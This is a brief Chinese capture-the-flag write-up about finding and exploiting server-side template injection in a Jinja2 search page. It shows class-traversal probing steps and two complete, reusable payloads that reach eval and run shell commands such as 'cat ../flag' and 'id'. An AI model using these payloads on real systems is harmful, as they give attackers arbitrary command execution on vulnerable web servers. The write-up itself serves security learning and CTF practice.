打开后一个google搜索框,查看源码没什么,随便输入点东西搜索
查看源码,提示ssti
测试一下,存在ssti
1 、获取字符串的类对象
''.__class__
2 、寻找基类
''.__class__.__mro__
3 、寻找可用引用
''.__class__.__mro__[1].__subclasses__()
在最后面发现模块引擎类型
<class ‘jinja2.ext.Extension’>, <class ‘jinja2.ext._CommentFinder’>]
是jinja2
有一个针对jinja2的通用payload
payload:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat ../flag').read()") }}{% endif %}{% endfor %}
详细请参考:https://www.cnblogs.com/yesec/p/12548206.html
还有一个更牛一点的payload也可以使用
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }} //poppen的参数就是要执行的命令
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
详细请参考:https://blog.csdn.net/zz_Caleb/article/details/96480967